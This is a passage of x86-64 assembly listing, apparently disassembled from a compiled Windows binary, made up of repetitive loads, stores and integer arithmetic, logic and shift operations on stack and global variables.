mov rax, qword [rsp + 0x88f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0x91b0]
mov eax, dword [rax]
mov dword [rsp + 0x40b8], eax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x8cb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8278], rax
mov rax, qword [rsp + 0x7780]
mov rcx, qword [rsp + 0x7038]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7020]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3da4]
mov dword [rsp + 0x40bc], eax
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb8]
sub eax, ecx
mov word [0x1401790f8], ax
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [rsp + 0x56]
xor eax, ecx
mov byte [rsp + 0x138], al
movzx eax, byte [rsp + 0x11a]
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0x8c90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d28]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe58], ax
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x15b]
shl eax, cl
mov byte [rsp + 0x154], al
mov eax, dword [rsp + 0x3d44]
mov dword [rsp + 0x40c0], eax
mov rax, qword [rsp + 0x7db0]
mov rcx, qword [0x140179010]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9200]
mov eax, dword [rax]
mov dword [rsp + 0x40c4], eax
mov rax, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x81e0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7300]
mov qword [rcx], rax
mov rax, qword [0x14017a8f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf54]
add eax, ecx
mov word [0x140179120], ax
mov rax, qword [rsp + 0x9458]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c]
sub eax, ecx
mov rcx, qword [rsp + 0x8a50]
mov byte [rcx], al
movzx eax, word [0x14017a558]
mov word [rsp + 0x109c], ax
movsx eax, byte [rsp + 0x13c]
movsx ecx, byte [rsp + 0x7d]
and eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ab0]
movzx eax, word [rax]
mov word [rsp + 0x10a0], ax
mov rax, qword [rsp + 0x9520]
mov ecx, dword [0x140179004]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8a78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c04]
mov dword [rsp + 0x40c8], eax
mov rax, qword [rsp + 0x81f0]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9508]
mov rcx, qword [rsp + 0x7f88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x74c0], rax
movzx eax, byte [rsp + 0x7b]
movzx ecx, byte [rsp + 0x102]
sub eax, ecx
mov byte [0x14017a587], al
mov rax, qword [rsp + 0x89e0]
movzx eax, byte [rax]
mov byte [rsp + 0x185], al
movzx eax, word [rsp + 0xd68]
movzx ecx, word [0x14017a6b8]
add eax, ecx
mov rcx, qword [rsp + 0x9318]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc20]
sar eax, cl
mov word [rsp + 0xe34], ax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x7738]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x71a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a68]
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x92a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7840]
shl rax, cl
mov qword [rsp + 0x8a08], rax
mov rax, qword [rsp + 0x6c20]
mov eax, dword [rax]
mov dword [rsp + 0x40cc], eax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0x15f]
xor eax, ecx
mov rcx, qword [rsp + 0x8e40]
mov byte [rcx], al
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfcc]
and eax, ecx
mov word [0x140179124], ax
mov rax, qword [0x14017a518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16e]
add eax, ecx
mov byte [rsp + 0xd5], al
lea rax, [rsp + 0xd50]
mov qword [rsp + 0x9598], rax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6de0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9110]
mov byte [rcx], al
mov eax, dword [section..data]
mov dword [rsp + 0x40d0], eax
mov rax, qword [rsp + 0x8d48]
mov ecx, dword [rsp + 0x3d40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x8950]
mov rax, qword [rax]
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0x6a70]
mov rcx, qword [rsp + 0x9138]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7860]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8a10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
and eax, ecx
mov word [rsp + 0xce4], ax
movsx eax, word [rsp + 0xd38]
movsx ecx, word [0x14017906c]
add eax, ecx
mov word [0x1401790c4], ax
lea rax, [rsp + 0xf3]
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x77f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7d20]
movzx eax, word [rax]
mov word [rsp + 0x10a4], ax
mov rax, qword [rsp + 0x7718]
mov rcx, qword [rsp + 0x7498]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x87e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x70a8]
mov rcx, qword [rsp + 0x87a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92a0]
mov qword [rsp + 0x95b0], rax
mov rax, qword [rsp + 0x7d58]
mov rcx, qword [rsp + 0x9448]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ba0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x187], al
lea rax, [rsp + 0xe68]
mov qword [0x14017a9e8], rax
movzx eax, word [rsp + 0xd60]
mov rcx, qword [rsp + 0x7570]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf84], ax
movzx eax, byte [rsp + 0xa4]
movzx ecx, byte [rsp + 0x5f]
shl eax, cl
mov rcx, qword [rsp + 0x6fe8]
mov byte [rcx], al
lea rax, [rsp + 0xd5c]
mov qword [rsp + 0x95b8], rax
mov rax, qword [rsp + 0x6cd8]
mov rcx, qword [rsp + 0x9380]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4004], eax
mov rax, qword [rsp + 0x8e18]
mov qword [rsp + 0x95c0], rax
mov rax, qword [rsp + 0x8648]
mov rcx, qword [rsp + 0x76e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x71b8], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x4074]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4084], eax
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov word [rsp + 0x10a8], ax
movzx eax, byte [rsp + 0x158]
movzx ecx, byte [rsp + 0x154]
sub eax, ecx
mov byte [0x14017906e], al
movzx eax, byte [0x14017904a]
mov rcx, qword [rsp + 0x6f20]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8a88]
mov byte [rcx], al
mov rax, qword [rsp + 0x70c0]
movzx eax, byte [rax]
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0x9078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc54], ax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0x95c8], rax
mov rax, qword [rsp + 0x9520]
mov ecx, dword [rsp + 0x3cc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4044], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3fb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94d0]
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0x8f80]
mov rcx, qword [rsp + 0x8410]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x78d8], rax
lea rax, [rsp + 0xcb8]
mov qword [0x14017a9f0], rax
lea rax, [rsp + 0xd28]
mov qword [rsp + 0x95d8], rax
movsx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x9458]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9258]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
add eax, ecx
mov rcx, qword [rsp + 0x6e60]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bb8]
movzx eax, word [rax]
mov word [rsp + 0x10ac], ax
mov rax, qword [rsp + 0x6ed8]
mov ecx, dword [rsp + 0x3ea4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f00]
mov dword [rsp + 0x40d4], eax
mov rax, qword [rsp + 0x81b0]
mov rcx, qword [rsp + 0x6f30]
mov qword [rsp + 0x95e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x95e0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x88d0], rax
mov rax, qword [rsp + 0x77a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8ac0]
shl rax, cl
mov rcx, qword [rsp + 0x81f0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xfd8]
mov rcx, qword [0x14017a7a0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401790b4], ax
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x7948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x185]
and eax, ecx
mov rcx, qword [rsp + 0x8680]
mov byte [rcx], al
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x95f0], rax
movsx eax, byte [0x14017908f]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x82e0]
mov rcx, qword [rsp + 0x7218]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4028]
mov dword [rsp + 0x40d8], eax
mov rax, qword [rsp + 0x7738]
mov rcx, qword [rsp + 0x94f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7700]
mov dword [rcx], eax
mov rax, qword [rsp + 0x88d8]
mov qword [rsp + 0x95f8], rax
lea rax, [rsp + 0x6e]
mov qword [0x14017a9f8], rax
mov rax, qword [rsp + 0x8510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8be8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x118], al
movzx eax, word [rsp + 0xf44]
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x9498]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xed8]
sub eax, ecx
mov word [rsp + 0xe34], ax
movsx eax, word [0x1401790a4]
mov rcx, qword [rsp + 0x6e50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe08], ax
lea rax, [rsp + 0x3be4]
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x7aa0]
mov ecx, dword [rsp + 0x3d74]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cf0], eax
lea rax, [rsp + 0x8b78]
mov qword [rsp + 0x9608], rax
mov rax, qword [rsp + 0x8928]
mov rcx, qword [rsp + 0x7cb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8650]
mov qword [rcx], rax
mov rax, qword [rsp + 0x74d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
shl eax, cl
mov byte [0x140179043], al
mov rax, qword [0x14017a7e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d18]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x8f70]
movzx eax, word [rax]
mov word [rsp + 0x10b4], ax
mov rax, qword [rsp + 0x92b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16d]
xor eax, ecx
mov rcx, qword [rsp + 0x77f8]
mov byte [rcx], al
movzx eax, byte [0x14017a4e6]
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0x7848]
mov ecx, dword [rsp + 0x3d0c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x40cc], eax
mov rax, qword [rsp + 0x7610]
mov rcx, qword [rsp + 0x7370]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x71e8]
mov qword [rcx], rax
lea rax, section..data
mov qword [rsp + 0x9610], rax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x6ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x75e8]
mov qword [rcx], rax
lea rax, [rsp + 0x1058]
mov qword [0x14017aa00], rax
lea rax, [0x14017a59a]
mov qword [rsp + 0x9618], rax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x8ff0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8840]
mov word [rcx], ax
movzx eax, word [rsp + 0xe98]
mov word [rsp + 0x10b8], ax
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6f00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8be8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9548]
mov rcx, qword [rsp + 0x9530]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7610]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8350]
mov qword [rsp + 0x9620], rax
mov eax, dword [rsp + 0x3c70]
mov ecx, dword [rsp + 0x3edc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
lea rax, [rsp + 0x3d5c]
mov qword [rsp + 0x9628], rax
mov rax, qword [rsp + 0x8680]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8600]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179062], al
mov rax, qword [rsp + 0x7960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8438]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x95b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x154]
add eax, ecx
mov rcx, qword [rsp + 0x7320]
mov byte [rcx], al
lea rax, [rsp + 0xdd]
mov qword [rsp + 0x9630], rax
mov rax, qword [rsp + 0x8260]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc30]
and eax, ecx
mov word [rsp + 0xde8], ax
lea rax, [rsp + 0x3df4]
mov qword [rsp + 0x9638], rax
mov rax, qword [rsp + 0x7410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94a8]
mov qword [rsp + 0x9640], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9640]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8200], rax
mov rax, qword [rsp + 0x8ba8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4060]
shl eax, cl
mov rcx, qword [rsp + 0x78c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79a0]
mov rax, qword [rax]
mov qword [rsp + 0x9648], rax
movzx eax, word [rsp + 0xe5c]
mov word [0x14017aa08], ax
movsx eax, byte [rsp + 0x12e]
movsx ecx, byte [rsp + 0x144]
or eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8150]
movzx eax, word [rax]
mov word [rsp + 0x10bc], ax
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x86c8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf08], ax
mov rax, qword [rsp + 0x8408]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a59f]
add eax, ecx
mov byte [rsp + 0x16f], al
lea rax, [rsp + 0x4024]
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x8118]
mov rcx, qword [rsp + 0x85b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x75e0]
mov qword [rsp + 0x9658], rax
mov rax, qword [rsp + 0x8478]
mov ecx, dword [rsp + 0x405c]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0x74b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8dc0]
movzx eax, word [rax]
mov word [rsp + 0x10c0], ax
mov rax, qword [rsp + 0x95f0]
movsx eax, byte [rax]
movsx ecx, byte [0x140179037]
and eax, ecx
mov rcx, qword [0x14017a720]
mov byte [rcx], al
movzx eax, word [rsp + 0xf38]
movzx ecx, word [rsp + 0xe6c]
sub eax, ecx
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0x8d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10b]
add eax, ecx
mov byte [rsp + 0xa4], al
movzx eax, word [0x140179078]
mov word [rsp + 0x10c4], ax
mov rax, qword [rsp + 0x7db0]
mov rcx, qword [rsp + 0x8730]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7998]
mov eax, dword [rax]
mov dword [rsp + 0x40dc], eax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x77d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b78], rax
mov rax, qword [rsp + 0x9080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3eb8], eax
movzx eax, word [rsp + 0xd48]
mov word [rsp + 0x10c8], ax
lea rax, [0x140179063]
mov qword [0x14017aa10], rax
mov rax, qword [rsp + 0x83e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x66]
sub eax, ecx
mov rcx, qword [rsp + 0x7118]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d68]
movzx eax, word [rax]
mov word [rsp + 0x10cc], ax
mov rax, qword [rsp + 0x8da8]
movzx eax, word [rax]
mov rcx, qword [0x14017a7e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x82f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x84f8]
mov rcx, qword [rsp + 0x8f18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x82c0]
mov qword [rcx], rax
lea rax, [rsp + 0x3be0]
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x7020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90b0]
mov qword [rsp + 0x9668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7f08], rax
lea rax, [rsp + 0x3f4c]
mov qword [rsp + 0x9670], rax
mov rax, qword [rsp + 0x8db0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ec8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x72a8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x155]
mov rcx, qword [0x14017a588]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a9c8]
mov byte [rcx], al
lea rax, [rsp + 0x42]
mov qword [rsp + 0x9678], rax
movsx eax, word [rsp + 0xe24]
mov rcx, qword [rsp + 0x6e50]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf64], ax
movzx eax, word [0x1401790a8]
mov rcx, qword [rsp + 0x8000]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0x8500]
mov eax, dword [rax]
mov dword [rsp + 0x40e0], eax
mov rax, qword [rsp + 0x7b20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fb8], eax
lea rax, [0x140179010]
mov qword [rsp + 0x9680], rax
mov rax, qword [rsp + 0x8a90]
mov rcx, qword [rsp + 0x7008]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8e90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8028]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
and eax, ecx
mov rcx, qword [rsp + 0x9030]
mov byte [rcx], al
mov rax, qword [0x14017a918]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x74c8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x140179128], ax
lea rax, [rsp + 0x1008]
mov qword [rsp + 0x9688], rax
movzx eax, byte [rsp + 0x169]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [0x14017a8f0]
movzx eax, byte [rax]
mov byte [rsp + 0x18a], al
mov rax, qword [rsp + 0x86a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17b]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0x74e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8450], rax
lea rax, [rsp + 0x3dd8]
mov qword [rsp + 0x9690], rax
mov rax, qword [rsp + 0x72f0]
mov ecx, dword [rsp + 0x3de4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d44], eax
mov rax, qword [rsp + 0x8c10]
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x84b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a5d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x105]
xor eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9540]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc70], ax
movzx eax, byte [rsp + 0x103]
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x7ef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e00]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x83d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7fa8]
mov qword [rsp + 0x96a0], rax
mov eax, dword [rsp + 0x3e6c]
movzx ecx, al
mov eax, dword [rsp + 0x3e70]
shl eax, cl
mov dword [rsp + 0x3d78], eax
lea rax, [rsp + 0x7418]
mov qword [rsp + 0x96a8], rax
mov rax, qword [rsp + 0x72d0]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
lea rax, [0x140179038]
mov qword [0x14017aa18], rax
movzx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x8fa8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78], al
lea rax, [rsp + 0xda]
mov qword [rsp + 0x96b0], rax
movzx eax, byte [0x14017903e]
mov rcx, qword [rsp + 0x94b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6d68]
mov byte [rcx], al
movzx eax, word [rsp + 0xc20]
mov word [rsp + 0x10d0], ax
mov rax, qword [rsp + 0x7f78]
mov rcx, qword [rsp + 0x7468]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x86a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7700]
mov rcx, qword [rsp + 0x8520]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x86d0]
mov rax, qword [rax]
mov qword [rsp + 0x96b8], rax
mov rax, qword [rsp + 0x7c58]
imul eax, dword [rax], 0x194b
mov dword [rsp + 0x3ee0], eax
lea rax, [0x14017a4ff]
mov qword [0x14017aa20], rax
lea rax, [rsp + 0x1048]
mov qword [rsp + 0x96c0], rax
mov rax, qword [rsp + 0x8990]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x74c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcd0], ax
movsx eax, byte [rsp + 0x142]
movsx ecx, byte [rsp + 0xa8]
add eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x87d0]
movzx eax, word [rax]
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dec], eax
mov rax, qword [rsp + 0x7780]
mov qword [rsp + 0x96c8], rax
mov rax, qword [rsp + 0x86e0]
mov rcx, qword [rsp + 0x87b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8160]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fe4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0x8e08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
sar eax, cl
mov rcx, qword [0x14017a5c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9350]
movzx eax, byte [rax]
mov byte [rsp + 0x18c], al
movsx eax, word [rsp + 0xfe4]
movsx ecx, word [rsp + 0xc18]
or eax, ecx
mov rcx, qword [rsp + 0x76b8]
mov word [rcx], ax
mov rax, qword [0x14017a920]
movzx eax, word [rax]
mov word [rsp + 0x10d8], ax
movsx eax, byte [rsp + 0xf8]
movsx ecx, byte [rsp + 0x59]
shl eax, cl
mov rcx, qword [rsp + 0x95f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ff0]
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x7898]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9248], rax
mov rax, qword [rsp + 0x7f30]
mov ecx, dword [rsp + 0x3c28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d84], eax
lea rax, [rsp + 0x3d2c]
mov qword [rsp + 0x96d8], rax
movzx eax, word [0x14017a790]
mov rcx, qword [rsp + 0x81c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017a8bc], ax
mov rax, qword [rsp + 0x6de0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x84c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0x6a78]
movzx eax, byte [rax]
mov byte [rsp + 0x18d], al
mov rax, qword [0x14017a628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x91e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
add eax, ecx
mov byte [rsp + 0xc5], al
lea rax, [rsp + 0x6c70]
mov qword [rsp + 0x96e0], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x6c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6eb0]
mov dword [rcx], eax
lea rax, [rsp + 0x4098]
mov qword [rsp + 0x96e8], rax
mov rax, qword [rsp + 0x8f18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8140]
mov qword [rcx], rax
movsx eax, word [0x140179024]
mov rcx, qword [rsp + 0x9440]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017912c], ax
mov rax, qword [rsp + 0x7228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x77a8]
mov word [rcx], ax
lea rax, [0x14017a5c4]
mov qword [rsp + 0x96f0], rax
mov rax, qword [rsp + 0x8010]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1084]
add eax, ecx
mov word [rsp + 0xf7c], ax
movzx eax, word [rsp + 0xdd4]
